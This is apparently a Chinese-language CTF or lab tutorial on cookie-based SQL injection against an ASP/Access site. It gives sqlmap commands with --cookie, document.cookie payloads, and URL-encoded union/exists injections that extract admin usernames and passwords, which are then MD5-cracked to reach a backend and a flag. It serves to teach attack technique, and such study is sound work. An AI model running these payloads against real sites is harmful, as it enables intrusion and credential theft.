我们知道了Cookie注入的原理~那么下一步我们该学习的就是如何修改网站原有的Cookie
我们可以使用很多方法设置Cookie
这2点同时满足才可以执行!!!!!!!!!!!
1、只有旧的失效了(比如删了?id=170,也就是删了get传参),才会接受新的传参方式(比如这里的get传参失效,现在新的cookie传参才会生效)
2、如果由一种传参换成新的一种传参,第一次一定要在URL栏刷新,才会接受新的传参,否则还是接受原来的传参,第一次之后随便在那刷新都是默认新的传参方式了,除非又手动换回get传参。(比如现在get传参换成现在的cookie传参)。
这里顺便在说下原理。传参后要刷新,才可以看到你的新的页面,不然执行了,没刷新,一样看不到新的页面。
cookie注入是GET和POST传参不能使用的情况下使用
1、依靠浏览器进行设置 F12
2、抓包直接修改 Burpsutie
3、浏览器有的插件也可以设置Cookie (插件EditThisCookie)
4、浏览器自带Js进行设置
document.cookie => 当前网站的Cookie有什么
document.cookie=“id=1111”
Cookie注入最好是进行一次编码
注意点:Cookie传参值需要URL编码,大家记得传参的值URL编码下
在线URL编码地址:http://tool.chinaz.com/Tools/urlencode.aspx
这里我们使用cookie来传参的,注意php5.4以上的版本就不会接受cookie传参了
下面我们就在本地服务器来试一试
先写一个php传参文件,
REQUEST可以接受POST,GET,COOKIE传参
然后进行传参,可发现,传参成功。
那么接下来我们就来使用cookie传参
记住开头总结的那2点,非常非常重要,不然进行不下去。
按下键盘上的“F12”按钮,进入浏览器控制台,
找到存储》然后找到cookie》在选中你要用的页面
name的名字改成传参的,value改成你要传参的值,然后回车就看到cookie传参成功了。
document.cookie => 当前网站的Cookie有什么
document.cookie=“id=1111” => 将当前cookie设置成 1111
1.直接跑
sqlmap.py -u “http://59.63.200.79:8004/shownews.asp” --cookie “id=171” --level 2
python sqlmap.py -r 1.txt --level 3 – risk 2
获取表名(sql获取表名也是通过自带的字典进行比对) 选择1或者回车
设置线程 一般推荐输入10
?id=171-1 => 成功获取数据,可能存在sql注入
继续判断,确定是否存在sql注入
?id=171 and 1=1 => 发现get对请求参数有过滤
?id=171 order by 10 => 判断字段是为10
?id=171 union select 1,2,3,4,5,6,7,8,9,10 =>发现get传参过滤
1、不让你检测 (走私)
2、规避规则 (藏东西过海关)
这里他默认是GET传参,(注意一定要是传参页面才行,其他没有传参的一定不行,比如首页就没有任何传参,所以首页不能跳转。比如?id)
只有GET传参失效才会用cookie传参
设置cookie成功后删掉get传参的?id=171 , 一样能正常获取171的内容
它可以接受Cookie传参并且拼接进数据库, 证明存在cookie注入
这个时候我们把cookie的值改为171 and 1=2 但是直接设置cookie的话必须是url编码才行,所以我们先去转一下码》》得到就结果就是171%20and%201%3D2
, 则页面显示错误
这说明存在cookie注入。首先通过测试,可得到所需的字段数为10
还是url编码:171%20order%20by%2010
数据正常显示
判断回显点url编码后输入171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10
没有被拦截了,但是显示不出回显点,这是怎么回事呢?
Access 很老的数据库 => 他不是数据库只是表的集合
Access 数据库的机构 => 表、字段(没有数据库,只有表和字段)
如果不知道表名怎么办?
只能靠爆破了,and exists (select*from 表名) 如果页面正常,就是存在这个表
exists 这个函数就是检查子查询能否查询到数据,如果能会返回一个True
存在admin表正常返回数据
不存在admins表返回错误
select xxxx from 表 => 正常查询
然后得到admin表的字段在页面中的回显位置:
url代码: 171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%20from%20admin
再将admin表的username,password字段替换其中2个位置即可:
一般从数据库里获取的数据是经过加密的,而且一般是MD5方式加密。
但是我们国内已经把这个加密方式给破解出来,
并公布了破解算法了,所以随便找个,在线解密MD5值的网站进行解密。
https://www.cmd5.com/
从而通过后台登录页面进入后台
获得flag:zkz{welcome-control}
用Javascript来设置Cookie
我们选择Console,打开浏览器的控制台,输入设置Js的语句就可以了
document.cookie=“id=”+escape(“171”) (+是拼接符)
在console里输入传参建和传参值。
document.cookie=“id=”+escape(“170”)
一定要在URL栏刷新才行
然后就立马跳转到新的页面了,而我们也没看到之前的get传参了,说明cookie传参成功。
document.cookie=“id=”+escape(“170 order by 10”)
在判断回显点的时候,先要猜表名。
我们先来用这个函数猜猜表名
document.cookie=“id=”+escape(“170 and exists(select*from a)”)
在猜admin
这里只是手动猜的,真正要猜的话,还是用burp的爆破模块,拿本字典去猜,效率高,还省事。
既然知道了表名,那么现在正式来判断回显点。
document.cookie=“id=”+escape(“170 union select 1,2,3,4,5,6,7,8,9,10 from admin”)
得到了输出点:需要知道字段名
方法一:强行猜解
方法二:偏移注入
既然access没有自带库,那么我们就只有强猜字段了,
根据表的名称,我们知道是admin,那字段名会不会是用户名和密码呢,(英文)
也就是username和passwod ,我们可以试一下。
document.cookie=“id=”+escape("170 union select 1,2,3,4,5,6,username,password,9,10 from admin ")
回显正常
这个时候我们把cookie的值改为171 and 1=2 但是直接在cookie里的话必须是url编码才行,所以我们先去转一下码》》得到就结果就是171+and+1%3d2
, 则页面显示错误
171+order+by+10
在判断回显点的时候,先要猜表名.
我们先来用这个函数猜猜表名
171%20and%20exists(select*from%20a)
报错,说明没有a这个表名
171%20and%20exists(select*from%20admin)
回显正确,有数据
这里只是手动猜的,真正要猜的话,还是用burp的爆破模块,拿本字典去猜,效率高,还省事。
既然知道了表名,那么现在正式来判断回显点。
171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%20from%20admin
既然access没有自带库,那么我们就只有强猜字段了,
根据表的名称,我们知道是admin,那字段名会不会是用户名和密码呢,(英文)
也就是username和passwod ,我们可以试一下。
171%20union%20select%201%2C2%2C3%2C4%2C5%2C6%2Cusername%2Cpassword%2C9%2C10%20from%20admin%20